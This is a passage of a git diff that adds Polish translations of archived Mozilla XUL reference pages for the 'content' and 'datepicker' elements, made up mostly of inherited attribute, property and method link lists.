+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
diff --git a/files/pl/mozilla/tech/xul/content/index.html b/files/pl/mozilla/tech/xul/content/index.html
new file mode 100644
index 0000000000..dc88c24fb2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/content/index.html
@@ -0,0 +1,96 @@
+---
+title: content
+slug: Mozilla/Tech/XUL/content
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/content
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element powinien pojawić się wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/conditions" title="conditions">conditions</a></code>. Warunek zasady powinien zawierać jeden i tylko jeden element <code>content</code>. Element <code>content</code> powinien również posiadać atrybut <code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>. Jest on używany do połączenia zmiennej do wierzchołka zawartości podczas porównania. W przypadku stosowania drzewa z atrybutem <code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code> ustawionym na <code>dont-build-content</code>, zastosuj zamiast tego element <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Zaawansowane_regu%c5%82y">kursie XUL</a>.
+</p>
+<dl><dt> Własności </dt><dd> <a href="#p-tag">tag</a>, <a href="#p-uri">uri</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-tag"></div>
+<div id="p-uri"></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
diff --git a/files/pl/mozilla/tech/xul/datepicker/index.html b/files/pl/mozilla/tech/xul/datepicker/index.html
new file mode 100644
index 0000000000..cd46bbf73a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/datepicker/index.html
@@ -0,0 +1,228 @@
+---
+title: datepicker
+slug: Mozilla/Tech/XUL/datepicker
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/datepicker
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element <code>datepicker</code> pozwala użytkownikowi na wprowadzenie daty. Trzy typy są wyświetlone, które to mogą być określone przy zastosowaniu atrybutu <code>type</code>.
+</p>
+<ul><li><code>normal</code> - datepicker z trzema polami dla wprowadzenia roku, miesiąca i dnia. </li><li><code>grid</code> - datepicker z siatką kalendarza dla zaznaczonego dnia.
+</li><li><code>popup</code> - normalny element datepicker z trzema polami, lecz z dodatkowym rozwijanym przyciskiem wyświetlającym wyskakującą siatkę.
+</li></ul>
+<p>Jest tu kilka sposobów na ustawienie zaznaczenia dnia. W języku XUL wartość atrybutu może być ustawiona na wartość w formie: <var>YYYY/MM/DD</var>, aby inicjalizować datepicker do pewnej daty. Jeśli nie jest określona to domyślnie datepicker jest bieżącym dniem.
+</p><p>Aby zmienić zaznaczoną datę, wartość własności może być zastosowana do ustawienia nowej wartości w formie <var>YYYY/MM/DD</var>. Własność <code>dateValue</code> może być zastosowana do odzyskania i ustawienia daty stosując obiekt <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date">Date</a>. W dodatku własności <code>date</code>, <code>month</code> i <code>year</code> mogą być zastosowane do odzyskania i modyfikacji każdego komponentu daty osobno.
+</p>
+<dl><dt> Atrybuty </dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-firstdayofweek">firstdayofweek</a>, <a href="#a-readonly">readonly</a>, <a href="#a-type">type</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a>
+</dd></dl>
